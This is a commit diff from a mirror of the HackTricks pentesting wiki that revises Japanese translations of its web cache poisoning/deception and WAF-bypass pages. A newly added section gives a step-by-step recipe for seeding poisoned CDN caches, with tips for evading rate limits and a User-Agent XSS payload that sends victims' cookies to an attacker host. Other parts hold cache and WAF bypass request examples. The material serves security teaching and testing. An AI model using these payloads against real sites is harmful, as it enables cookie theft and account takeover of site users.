maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/pentesting-web/proxy-waf-protections-bypass.md', 'src/p

Browse Source
This commit is contained in:
Translator 2025-08-21 06:07:47 +00:00
parent 88f86add8c
commit e87ee93af8
2 changed files with 115 additions and 59 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

116
src/pentesting-web/cache-deception/README.md
View File

@ -15,17 +15,17 @@
キャッシュポイズニング攻撃の実行にはいくつかのステップがあります：
1. **キーなし入力の特定**：これらは、リクエストがキャッシュされるために必須ではないパラメータですが、サーバーが返すレスポンスを変更する可能性があります。これらの入力を特定することは重要であり、キャッシュを操作するために悪用される可能性があります。
2. **キーなし入力の悪用**：キーなし入力を特定した後、次のステップは、攻撃者に利益をもたらす方法でサーバーのレスポンスを変更するためにこれらのパラメータをどのように誤用するかを考えることです。
1. **キーのない入力の特定**：これらは、リクエストがキャッシュされるために必須ではないパラメータですが、サーバーが返すレスポンスを変更する可能性があります。これらの入力を特定することは重要であり、キャッシュを操作するために悪用される可能性があります。
2. **キーのない入力の悪用**：キーのない入力を特定した後、次のステップは、攻撃者に利益をもたらす方法でサーバーのレスポンスを変更するためにこれらのパラメータを誤用する方法を考えることです。
3. **汚染されたレスポンスがキャッシュされることを確認**：最終ステップは、操作されたレスポンスがキャッシュに保存されることを確認することです。これにより、キャッシュが汚染されている間に影響を受けるページにアクセスするユーザーは、汚染されたレスポンスを受け取ります。
### 発見：HTTPヘッダーを確認
通常、レスポンスが**キャッシュに保存された**場合、**それを示すヘッダーがあります**。この投稿で注意すべきヘッダーを確認できます：[**HTTPキャッシュヘッダー**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers)。
通常、レスポンスが**キャッシュに保存された**場合、**それを示すヘッダーがあります**。どのヘッダーに注意を払うべきかは、この投稿で確認できます：[**HTTPキャッシュヘッダー**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers)。
### 発見：キャッシュエラーコード
レスポンスがキャッシュに保存されていると考えている場合、**不正なヘッダーでリクエストを送信**してみると良いでしょう。これには**ステータスコード400**で応答されるはずです。その後、リクエストに通常アクセスして、**レスポンスが400ステータスコード**であれば、それが脆弱であることがわかります（DoSを実行することも可能です）。
レスポンスがキャッシュに保存されていると考えている場合、**不正なヘッダーでリクエストを送信**してみると良いでしょう。これには**ステータスコード400**で応答されるはずです。その後、リクエストに通常アクセスして、**レスポンスが400ステータスコード**であれば、それが脆弱であることがわかります（さらにはDoS攻撃を実行することも可能です）。
さらにオプションを見つけることができます：
@ -35,7 +35,7 @@ cache-poisoning-to-dos.md
ただし、**これらの種類のステータスコードがキャッシュされないこともある**ため、このテストは信頼できない可能性があります。
### 発見：キーなし入力を特定し評価する
### 発見：キーのない入力を特定し評価する
[**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943)を使用して、**ページのレスポンスを変更する可能性のあるパラメータやヘッダーをブルートフォース**することができます。たとえば、ページが`X-Forwarded-For`ヘッダーを使用してクライアントにスクリプトをそこから読み込むように指示している場合があります：
```html
@ -43,20 +43,20 @@ cache-poisoning-to-dos.md
```
### バックエンドサーバーから有害な応答を引き出す
パラメータ/ヘッダーが特定されたら、それがどのように**サニタイズ**されているか、また**どこで**応答に**反映**されているかを確認します。これを悪用することはできますか（XSSを実行する、またはあなたが制御するJSコードを読み込む？DoSを実行する？...）
パラメータ/ヘッダーが特定されたら、それがどのように**サニタイズ**されているか、また**どこで**応答に**反映**されているかを確認します。これを悪用する方法はありますか（XSSを実行する、またはあなたが制御するJSコードを読み込む？DoSを実行する？...）
### 応答をキャッシュする
悪用できる**ページ**を**特定**し、使用する**パラメータ**/**ヘッダー**と**悪用方法**を決定したら、そのページをキャッシュする必要があります。キャッシュに取得しようとしているリソースによっては、これには時間がかかる場合があり、数秒間試みる必要があるかもしれません。
悪用できる**ページ**を**特定**し、使用する**パラメータ**/**ヘッダー**と**悪用方法**が決まったら、そのページをキャッシュする必要があります。キャッシュに取得しようとしているリソースによっては、これには時間がかかる場合があり、数秒間試みる必要があるかもしれません。
応答のヘッダー**`X-Cache`**は非常に便利で、リクエストがキャッシュされていない場合は**`miss`**の値を持ち、キャッシュされている場合は**`hit`**の値を持つ可能性があります。\
ヘッダー**`Cache-Control`**も、リソースがキャッシュされているかどうか、次回リソースが再キャッシュされるのはいつかを知るために興味深いです: `Cache-Control: public, max-age=1800`
もう一つの興味深いヘッダーは**`Vary`**です。このヘッダーは、通常はキーがないにもかかわらず、**キャッシュキーの一部**として扱われる**追加ヘッダー**を**示すため**にしばしば使用されます。したがって、ターゲットとしている被害者の`User-Agent`を知っている場合、特定の`User-Agent`を使用するユーザーのためにキャッシュを汚染することができます。
もう一つの興味深いヘッダーは**`Vary`**です。このヘッダーは、通常はキーがない場合でも、**キャッシュキーの一部として扱われる追加のヘッダー**を**示すために**よく使用されます。したがって、ターゲットとする被害者の`User-Agent`を知っているユーザーは、その特定の`User-Agent`を使用するユーザーのためにキャッシュを汚染することができます。
キャッシュに関連するもう一つのヘッダーは**`Age`**です。これは、オブジェクトがプロキシキャッシュに存在している秒数を定義します。
リクエストをキャッシュする際は、使用するヘッダーに**注意**してください。なぜなら、いくつかのヘッダーは**予期せず**に**キー付き**として使用される可能性があり、**被害者はその同じヘッダーを使用する必要がある**からです。常に**異なるブラウザ**でキャッシュポイズニングを**テスト**して、機能しているか確認してください。
リクエストをキャッシュする際は、使用するヘッダーに**注意してください**。なぜなら、いくつかのヘッダーは**予期せず**キーとして**使用される可能性があり、**被害者はその同じヘッダーを使用する必要があるからです。常に**異なるブラウザ**でキャッシュポイズニングを**テスト**して、機能しているか確認してください。
## 悪用の例
@ -79,10 +79,10 @@ cache-poisoning-to-dos.md
### Cache poisoning through CDNs
**[この書き込み](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** では、以下の単純なシナリオが説明されています：
**[この解説](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** では、以下の単純なシナリオが説明されています：
- CDNは`/share/`以下のすべてをキャッシュします。
- CDNは`%2F..%2F`をデコードまたは正規化しないため、**他の機密情報にアクセスするためのパストラバーサルとして使用できる**、例えば`https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`のように。
- CDNは`%2F..%2F`をデコードまたは正規化しないため、**他の機密情報がキャッシュされる場所にアクセスするためのパストラバーサルとして使用できます**。例えば、`https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
- ウェブサーバーは`%2F..%2F`をデコードおよび正規化し、`/api/auth/session`で応答します。これには**認証トークン**が含まれています。
### Using web cache poisoning to exploit cookie-handling vulnerabilities
@ -93,7 +93,7 @@ GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
```
注意：脆弱なクッキーがユーザーによって非常に使用されている場合、定期的なリクエストがキャッシュをクリアします。
注意：脆弱なクッキーがユーザーによって非常に使用されている場合、通常のリクエストがキャッシュをクリアします。
### デリミタ、正規化、ドットを使用して不一致を生成する <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
@ -103,9 +103,9 @@ Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
cache-poisoning-via-url-discrepancies.md
{{#endref}}
### APIキーを盗むためのパストラバーサルによるキャッシュポイズニング <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
### パストラバーサルを使用したキャッシュポイズニングによるAPIキーの盗難 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
[**この解説は**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` のようなURLを使用してOpenAI APIキーを盗むことが可能だった理由を説明しています。`/share/*` に一致するものは、リクエストがウェブサーバーに到達したときにCloudflareがURLを正規化することなくキャッシュされます。
[**この解説は**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` のようなURLを使用してOpenAI APIキーを盗むことが可能だった理由を説明しています。`/share/*` に一致するものは、CloudflareがURLを正規化することなくキャッシュされ、リクエストがウェブサーバーに到達したときに正規化されました。
これは以下でもより詳しく説明されています：
@ -115,7 +115,7 @@ cache-poisoning-via-url-discrepancies.md
### 複数のヘッダーを使用してウェブキャッシュポイズニングの脆弱性を悪用する <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
時には、キャッシュを悪用するために**複数のキーなし入力を悪用する**必要があります。例えば、`X-Forwarded-Host`をあなたが制御するドメインに設定し、`X-Forwarded-Scheme`を`http`に設定すると、**オープンリダイレクト**を見つけることができるかもしれません。**もし**サーバーがすべての**HTTP**リクエストを**HTTPS**に**転送**し、リダイレクトのドメイン名としてヘッダー`X-Forwarded-Scheme`を使用している場合、リダイレクトによってページが指す場所を制御できます。
時には、キャッシュを悪用するために**複数のキーなし入力を悪用する必要があります**。例えば、`X-Forwarded-Host`をあなたが制御するドメインに設定し、`X-Forwarded-Scheme`を`http`に設定すると、**オープンリダイレクト**を見つけることができるかもしれません。**もし**サーバーがすべての**HTTP**リクエストを**HTTPS**に**転送**し、リダイレクトのドメイン名としてヘッダー`X-Forwarded-Scheme`を使用している場合、リダイレクトによってページが指す場所を制御できます。
```html
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
@ -133,7 +133,7 @@ X-Host: attacker.com
```
### Fat Get
URLとボディの両方にリクエストを含むGETリクエストを送信します。ウェブサーバーがボディのものを使用するが、キャッシュサーバーがURLのものをキャッシュする場合、そのURLにアクセスする誰もが実際にはボディからのパラメータを使用します。James KettleがGithubウェブサイトで見つけた脆弱性のように:
URLとボディの両方にリクエストを含むGETリクエストを送信します。ウェブサーバーがボディのものを使用するが、キャッシュサーバーがURLのものをキャッシュする場合、そのURLにアクセスする誰もが実際にはボディからのパラメータを使用します。James KettleがGithubウェブサイトで発見した脆弱性のように:
```
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
@ -142,29 +142,65 @@ Content-Length: 22
report=innocent-victim
```
There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
ポートスウィガーのラボについて: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
### パラメータクラッキング
### パラメータクロッキング
例えば、**パラメータ**を**`&`**の代わりに**`;`**文字を使用してrubyサーバーで分離することが可能です。これを利用して、キーのないパラメータの値をキーのあるものの中に入れ込み、悪用することができます。
例えば、**パラメータ**をrubyサーバーで**`;`**の文字を使って**`&`**の代わりに分けることが可能です。これを利用して、キーのないパラメータの値をキーのあるものの中に入れ込み、悪用することができます。
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
ポートスウィガーのラボ: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
### HTTPキャッシュポイズニングの悪用
### HTTPリクエストスマグリングを悪用したHTTPキャッシュポイズニングの悪用
[Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning)の実施方法について学びましょう。
[HTTPリクエストスマグリングを悪用したキャッシュポイズニング攻撃の実行方法](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning)についてここで学びます。
### Web Cache Poisoningの自動テスト
### ウェブキャッシュポイズニングの自動テスト
[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner)を使用して、Webキャッシュポイズニングを自動的にテストできます。多くの異なる技術をサポートしており、高度にカスタマイズ可能です。
[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner)を使用して、ウェブキャッシュポイズニングを自動的にテストできます。多くの異なる技術をサポートしており、高度にカスタマイズ可能です。
使用例: `wcvs -u example.com`
### ヘッダーリフレクションXSS + CDN/WAF支援キャッシュシーディング（User-Agent、自動キャッシュされた.js）
この実世界のパターンは、ヘッダーに基づくリフレクションプリミティブをCDN/WAFの動作と連携させて、他のユーザーに提供されるキャッシュされたHTMLを確実にポイズンします：
- メインHTMLは信頼できないリクエストヘッダー（例：`User-Agent`）を実行可能なコンテキストに反映しました。
- CDNはキャッシュヘッダーを削除しましたが、内部/オリジンキャッシュが存在しました。CDNはまた、静的拡張子（例：`.js`）で終わるリクエストを自動的にキャッシュしましたが、WAFは静的アセットのGETに対して弱いコンテンツ検査を適用しました。
- リクエストフローの特異性により、`.js`パスへのリクエストが次のメインHTMLに使用されるキャッシュキー/バリアントに影響を与え、ヘッダーリフレクションを介してクロスユーザーXSSを可能にしました。
実用的なレシピ（人気のあるCDN/WAFで観察された）：
1) クリーンなIPから（以前の評判に基づくダウングレードを避けるため）、ブラウザまたはBurp Proxy Match & Replaceを介して悪意のある`User-Agent`を設定します。
2) Burp Repeaterで、2つのリクエストのグループを準備し、「グループを並行して送信」を使用します（シングルパケットモードが最適です）：
- 最初のリクエスト：同じオリジンの`.js`リソースパスをGETし、悪意のある`User-Agent`を送信します。
- すぐに：メインページ（`/`）をGETします。
3) CDN/WAFのルーティングレースと自動キャッシュされた`.js`が、同じキャッシュキー条件（例：同じ`Vary`次元の`User-Agent`）を共有する他の訪問者に提供されるポイズンされたキャッシュHTMLバリアントをしばしばシードします。
例のヘッダーペイロード（HttpOnlyでないクッキーを抽出するため）：
```
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
```
運用のヒント:
- 多くのCDNはキャッシュヘッダーを隠します; 毒性があるように見えるのは、数時間ごとのリフレッシュサイクルのみです。複数の視点IPを使用し、レート制限や評判トリガーを避けるためにスロットルをかけてください。
- CDNの自社クラウドからのIPを使用すると、ルーティングの一貫性が向上することがあります。
- 厳格なCSPが存在する場合でも、反射がメインHTMLコンテキストで実行され、CSPがインライン実行を許可するか、コンテキストによってバイパスされる場合は、これが機能します。
影響:
- セッションクッキーが`HttpOnly`でない場合、毒性のあるHTMLを提供されるすべてのユーザーから`document.cookie`を大量に抽出することで、ゼロクリックのATOが可能です。
防御策:
- リクエストヘッダーをHTMLに反映させるのをやめてください; 避けられない場合は厳密にコンテキストエンコードしてください。CDNとオリジンのキャッシュポリシーを整合させ、信頼できないヘッダーでの変動を避けてください。
- WAFが`.js`リクエストと静的パスに対して一貫してコンテンツ検査を適用することを確認してください。
- セッションクッキーに`HttpOnly`（および`Secure`、`SameSite`）を設定してください。
## 脆弱な例
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
ATSはURL内のフラグメントを削除せずに転送し、ホスト、パス、クエリのみを使用してキャッシュキーを生成しました（フラグメントは無視されます）。そのため、リクエスト`/#/../?r=javascript:alert(1)`はバックエンドに`/#/../?r=javascript:alert(1)`として送信され、キャッシュキーにはペイロードが含まれておらず、ホスト、パス、クエリのみが含まれていました。
ATSはURL内のフラグメントを削除せずに転送し、ホスト、パス、クエリのみを使用してキャッシュキーを生成しました（フラグメントは無視されます）。したがって、リクエスト`/#/../?r=javascript:alert(1)`はバックエンドに`/#/../?r=javascript:alert(1)`として送信され、キャッシュキーにはペイロードが含まれておらず、ホスト、パス、クエリのみが含まれていました。
### GitHub CP-DoS
@ -172,11 +208,11 @@ content-typeヘッダーに不正な値を送信すると、405キャッシュ
### GitLab + GCP CP-DoS
GitLabは静的コンテンツを保存するためにGCPバケットを使用しています。**GCPバケット**は**ヘッダー`x-http-method-override`**をサポートしています。したがって、ヘッダー`x-http-method-override: HEAD`を送信し、キャッシュを毒して空のレスポンスボディを返すことが可能でした。また、`PURGE`メソッドもサポートされていました。
GitLabはGCPバケットを使用して静的コンテンツを保存します。**GCPバケット**は**ヘッダー`x-http-method-override`**をサポートしています。したがって、ヘッダー`x-http-method-override: HEAD`を送信し、キャッシュを毒化して空のレスポンスボディを返すことが可能でした。また、`PURGE`メソッドもサポートされていました。
### Rack Middleware (Ruby on Rails)
Ruby on Railsアプリケーションでは、Rackミドルウェアがよく利用されます。Rackコードの目的は、**`x-forwarded-scheme`**ヘッダーの値を取得し、それをリクエストのスキームとして設定することです。ヘッダー`x-forwarded-scheme: http`が送信されると、同じ場所への301リダイレクトが発生し、そのリソースに対してサービス拒否（DoS）を引き起こす可能性があります。さらに、アプリケーションは`X-forwarded-host`ヘッダーを認識し、指定されたホストにユーザーをリダイレクトする可能性があります。この動作により、攻撃者のサーバーからJavaScriptファイルが読み込まれ、セキュリティリスクが生じる可能性があります。
Ruby on Railsアプリケーションでは、Rackミドルウェアがよく利用されます。Rackコードの目的は、**`x-forwarded-scheme`**ヘッダーの値をリクエストのスキームとして設定することです。ヘッダー`x-forwarded-scheme: http`が送信されると、同じ場所への301リダイレクトが発生し、そのリソースに対してサービス拒否（DoS）を引き起こす可能性があります。さらに、アプリケーションは`X-forwarded-host`ヘッダーを認識し、ユーザーを指定されたホストにリダイレクトする可能性があります。この動作により、攻撃者のサーバーからJavaScriptファイルが読み込まれ、セキュリティリスクが生じる可能性があります。
### 403とストレージバケット
@ -184,46 +220,46 @@ Cloudflareは以前、403レスポンスをキャッシュしていました。
### キー付きパラメータの注入
キャッシュはしばしばキャッシュキーに特定のGETパラメータを含めます。例えば、FastlyのVarnishはリクエストの`size`パラメータをキャッシュしました。しかし、パラメータのURLエンコードされたバージョン（例：`siz%65`）が誤った値で送信された場合、キャッシュキーは正しい`size`パラメータを使用して構築されます。しかし、バックエンドはURLエンコードされたパラメータの値を処理します。2番目の`size`パラメータをURLエンコードすると、キャッシュによって省略されますが、バックエンドによって利用されます。このパラメータに0の値を割り当てると、キャッシュ可能な400 Bad Requestエラーが発生しました。
キャッシュはしばしばキャッシュキーに特定のGETパラメータを含めます。たとえば、FastlyのVarnishはリクエストの`size`パラメータをキャッシュしました。しかし、パラメータのURLエンコードされたバージョン（例:`siz%65`）が誤った値で送信された場合、キャッシュキーは正しい`size`パラメータを使用して構築されます。しかし、バックエンドはURLエンコードされたパラメータの値を処理します。2番目の`size`パラメータをURLエンコードすると、キャッシュによって省略されますが、バックエンドによって利用されます。このパラメータに0の値を割り当てると、キャッシュ可能な400 Bad Requestエラーが発生しました。
### ユーザーエージェントルール
一部の開発者は、サーバーの負荷を管理するために、FFUFやNucleiなどの高トラフィックツールのユーザーエージェントに一致するリクエストをブロックします。皮肉なことに、このアプローチはキャッシュポイズニングやDoSなどの脆弱性を引き起こす可能性があります。
一部の開発者は、FFUFやNucleiのような高トラフィックツールのユーザーエージェントに一致するリクエストをブロックしてサーバーの負荷を管理します。皮肉なことに、このアプローチはキャッシュの毒化やDoSなどの脆弱性を引き起こす可能性があります。
### 不正なヘッダーフィールド
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230)は、ヘッダー名における許可される文字を指定しています。指定された**tchar**範囲外の文字を含むヘッダーは、理想的には400 Bad Requestレスポンスをトリガーするべきです。実際には、サーバーはこの標準に常に従うわけではありません。特に注目すべき例は、Akamaiが無効な文字を含むヘッダーを転送し、`cache-control`ヘッダーが存在しない限り、400エラーをキャッシュすることです。不正な文字（例：`\`）を含むヘッダーを送信すると、キャッシュ可能な400 Bad Requestエラーが発生するという悪用可能なパターンが特定されました。
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230)は、ヘッダー名における許可される文字を指定しています。指定された**tchar**範囲外の文字を含むヘッダーは、理想的には400 Bad Requestレスポンスをトリガーするべきです。実際には、サーバーは常にこの標準に従うわけではありません。注目すべき例はAkamaiで、無効な文字を含むヘッダーを転送し、`cache-control`ヘッダーが存在しない限り、400エラーをキャッシュします。`\\`のような不正な文字を含むヘッダーを送信すると、キャッシュ可能な400 Bad Requestエラーが発生するという悪用可能なパターンが特定されました。
### 新しいヘッダーの発見
[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
## キャッシュデセプション
## キャッシュの欺瞞
キャッシュデセプションの目的は、クライアントに**機密情報を持つリソースをキャッシュに保存させること**です。
キャッシュの欺瞞の目的は、クライアントに**機密情報を持つリソースをキャッシュに保存させること**です。
まず、**拡張子**（例：`.css`、`.js`、`.png`など）が通常**キャッシュに保存されるように**設定されていることに注意してください。したがって、`www.example.com/profile.php/nonexistent.js`にアクセスすると、キャッシュはおそらく`.js`**拡張子**を見てレスポンスを保存します。しかし、**アプリケーション**が_ www.example.com/profile.php_に保存された**機密**ユーザーコンテンツで**再生**している場合、他のユーザーからそのコンテンツを**盗む**ことができます。
まず、**.css**、**.js**、**.png**などの**拡張子**は通常**キャッシュに保存されるように**設定されています。したがって、`www.example.com/profile.php/nonexistent.js`にアクセスすると、キャッシュはおそらくレスポンスを保存します。なぜなら、`.js`の**拡張子**を見ているからです。しかし、**アプリケーション**が_ www.example.com/profile.php_に保存された**機密**ユーザーコンテンツでリプレイしている場合、他のユーザーからそのコンテンツを**盗む**ことができます。
他にテストするべきこと：
他にテストすること:
- _www.example.com/profile.php/.js_
- _www.example.com/profile.php/.css_
- _www.example.com/profile.php/test.js_
- _www.example.com/profile.php/../test.js_
- _www.example.com/profile.php/%2e%2e/test.js_
- _あまり知られていない拡張子（例：`.avif`）を使用する_
- _あまり知られていない拡張子を使用する_ `.avif`
非常に明確な別の例は、この書き込みに見つけることができます: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)。\
非常に明確な例は、この書き込みに見つけることができます: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)。\
この例では、_http://www.example.com/home.php/non-existent.css_のような存在しないページを読み込むと、_http://www.example.com/home.php_（**ユーザーの機密情報を含む**）の内容が返され、キャッシュサーバーが結果を保存することが説明されています。\
その後、**攻撃者**は自分のブラウザで_http://www.example.com/home.php/non-existent.css_にアクセスし、以前にアクセスしたユーザーの**機密情報**を観察できます。
**キャッシュプロキシ**は、ファイルの**拡張子**（_.css_）に基づいてファイルを**キャッシュ**するように**設定**されるべきであり、コンテンツタイプに基づいてはなりません。例として_http://www.example.com/home.php/non-existent.css_は、_.css_ファイルに期待される`text/css` MIMEタイプの代わりに`text/html`コンテンツタイプを持ちます。
**キャッシュプロキシ**は、ファイルの**拡張子**（_.css_）に基づいてファイルを**キャッシュ**するように**設定**されるべきであり、コンテンツタイプに基づいてはなりません。例として、_http://www.example.com/home.php/non-existent.css_は、_.css_ファイルに期待される`text/css` MIMEタイプの代わりに`text/html`コンテンツタイプを持ちます。
[Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception)の実施方法について学びましょう。
ここで、[HTTPリクエストスムージングを悪用したキャッシュの欺瞞攻撃の実行方法](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception)について学びましょう。
## 自動ツール
- [**toxicache**](https://github.com/xhzeem/toxicache): URLのリスト内でWebキャッシュポイズニングの脆弱性を見つけ、複数の注入技術をテストするためのGolangスキャナー。
- [**toxicache**](https://github.com/xhzeem/toxicache): URLのリストでウェブキャッシュ毒化の脆弱性を見つけ、複数の注入技術をテストするためのGolangスキャナー。
## 参考文献
@ -233,6 +269,8 @@ Cloudflareは以前、403レスポンスをキャッシュしていました。
- [https://youst.in/posts/cache-poisoning-at-scale/](https://youst.in/posts/cache-poisoning-at-scale/)
- [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9)
- [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)
- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
- [Burp Proxy Match & Replace](https://portswigger.net/burp/documentation/desktop/tools/proxy/match-and-replace)
{{#include ../../banners/hacktricks-training.md}}

58
src/pentesting-web/proxy-waf-protections-bypass.md
View File

@ -1,11 +1,11 @@
# プロキシ / WAF 保護のバイパス
# Proxy / WAF Protections Bypass
{{#include ../banners/hacktricks-training.md}}
## パス名操作による Nginx ACL ルールのバイパス <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
この研究からの技術 [from this research](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
技術 [この研究から](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)。
Nginx ルールの例:
```plaintext
@ -64,7 +64,7 @@ fastcgi_pass unix:/run/php/php8.1-fpm.sock;
```
Nginxは`/admin.php`へのアクセスをブロックするように設定されていますが、`/admin.php/index.php`にアクセスすることでこれをバイパスすることが可能です。
### 予防方法
### 予防策
```plaintext
location ~* ^/admin {
deny all;
@ -74,20 +74,20 @@ deny all;
### パスの混乱
[**この投稿**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)では、ModSecurity v3（3.0.12まで）が、アクセスされたパス（パラメータの開始まで）を含むはずの`REQUEST_FILENAME`変数を**不適切に実装していた**ことが説明されています。これは、パスを取得するためにURLデコードを行ったためです。\
したがって、`http://example.com/foo%3f';alert(1);foo=`のようなリクエストは、mod securityではパスが単に`/foo`であると見なされます。なぜなら、`%3f`が`?`に変換されてURLパスが終了するからですが、実際にサーバーが受け取るパスは`/foo%3f';alert(1);foo=`になります。
[**この投稿**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)では、ModSecurity v3（3.0.12まで）が、アクセスされたパスを含むはずの`REQUEST_FILENAME`変数を**不適切に実装していた**ことが説明されています（パラメータの開始まで）。これは、パスを取得するためにURLデコードを行ったためです。\
したがって、mod securityでは`http://example.com/foo%3f';alert(1);foo=`のようなリクエストは、`%3f`が`?`に変換されてURLパスが終了するため、パスは単に`/foo`であると考えますが、実際にサーバーが受け取るパスは`/foo%3f';alert(1);foo=`です。
`REQUEST_BASENAME`および`PATH_INFO`変数もこのバグの影響を受けました。
Mod Securityのバージョン2でも同様のことが発生し、特定の拡張子（例えば`.bak`）に関連するバックアップファイルへのユーザーアクセスを防ぐ保護をバイパスすることが可能でした。これは、ドットを`%2e`でURLエンコードして送信することで実現されました。例えば：`https://example.com/backup%2ebak`。
Mod Securityのバージョン2でも同様のことが発生し、特定の拡張子（例えば`.bak`）に関連するファイルへのユーザーアクセスを防ぐ保護をバイパスすることが可能でした。これは、ドットを`%2e`でURLエンコードして送信することで実現されました。例えば：`https://example.com/backup%2ebak`。
## AWS WAF ACLのバイパス <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
### 不正なヘッダー
[この研究](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)では、AWSが適用したHTTPヘッダーに対するWAFルールを、不正に解析されたヘッダーを送信することでバイパスすることが可能であったと述べています。このヘッダーはAWSによって適切に解析されませんでしたが、バックエンドサーバーによっては解析されました。
[この研究](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)では、AWS WAFルールをHTTPヘッダーに適用する際に、「不正な」ヘッダーを送信することでバイパスできることが言及されています。このヘッダーはAWSによって適切に解析されませんでしたが、バックエンドサーバーによっては解析されました。
例えば、ヘッダーX-QueryにSQLインジェクションを含む以下のリクエストを送信することです：
例えば、ヘッダーX-QueryにSQLインジェクションを含む次のリクエストを送信することです：
```http
GET / HTTP/1.1\r\n
Host: target.com\r\n
@ -96,34 +96,51 @@ X-Query: Value\r\n
Connection: close\r\n
\r\n
```
AWS WAFをバイパスすることが可能だったのは、次の行がヘッダーの値の一部であることを理解できなかったためであり、NODEJSサーバーは理解していた（これは修正された）。
AWS WAFをバイパスすることが可能だったのは、次の行がヘッダーの値の一部であることを理解しなかったからであり、NODEJSサーバーは理解していた（これは修正された）。
## 一般的なWAFバイパス
### リクエストサイズ制限
一般的にWAFには、チェックするリクエストの長さ制限があり、POST/PUT/PATCHリクエストがそれを超えると、WAFはリクエストをチェックしません。
一般的にWAFは、チェックするリクエストの長さ制限があり、POST/PUT/PATCHリクエストがそれを超えると、WAFはリクエストをチェックしません。
- AWS WAFについては、[**ドキュメントを確認できます**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**
